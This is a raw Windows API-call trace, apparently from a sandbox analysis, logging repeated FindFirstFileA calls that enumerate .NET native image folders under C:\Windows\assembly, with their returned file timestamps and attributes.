[0241.551] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe86887c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd55d600, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd55d600, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0241.557] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe86887c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd55d600, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd55d600, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0241.563] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe94d0be, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd583760, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd583760, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0241.568] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe94d0be, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd583760, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd583760, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0241.573] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc9d4df5, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd583760, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd583760, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0242.539] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc9d4df5, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdebcca0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xdebcca0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.576] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2bdc0d, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xdf2f0c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xdf2f0c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0242.581] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2bdc0d, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xdf2f0c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xdf2f0c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.588] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd90b3d8c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdf2f0c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xdf2f0c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0242.594] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd90b3d8c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdf55220, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xdf55220, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.599] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2134, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xdf55220, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xdf55220, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0242.604] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2134, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xdf55220, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xdf55220, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.609] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ca7b087, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xdf7b380, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xdf7b380, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0242.614] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24aa0ae7, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdf7b380, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xdf7b380, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.619] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd380767, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdf7b380, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xdf7b380, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0242.623] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd380767, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdfa14e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xdfa14e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.633] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd5e1d6b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdfa14e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xdfa14e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0242.638] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd5e1d6b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdfc7640, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xdfc7640, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.643] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x923738, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xdfc7640, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xdfc7640, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0242.648] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x923738, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xdfc7640, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xdfc7640, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.653] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf63104, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xdfed7a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xdfed7a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0242.660] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf63104, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xdfed7a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xdfed7a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.665] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3102802, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xdfed7a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xdfed7a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0242.670] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3102802, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe013900, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe013900, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.675] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44cbf06, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe013900, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe013900, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0242.680] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44f2067, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe013900, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe013900, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.684] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c75d803, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe013900, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe013900, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0242.689] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c75d803, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe039a60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe039a60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.696] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f16dd39, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe039a60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe039a60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0242.701] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f16dd39, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe05fbc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe05fbc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.714] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4837ead, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe05fbc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe05fbc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0242.720] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4837ead, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe085d20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe085d20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.725] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8dae4c7f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe085d20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe085d20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0242.730] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8dae4c7f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe085d20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe085d20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.736] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb0e2664c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe0abe80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe0abe80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.740] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb08590a2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe0abe80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe0abe80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.745] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb14b22d8, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe0abe80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe0abe80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.750] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb1a335c2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe0d1fe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe0d1fe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.755] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8eed44e4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe0d1fe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe0d1fe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0242.759] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8eed44e4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe0d1fe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe0d1fe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.764] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x917259ce, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe0f8140, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe0f8140, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, 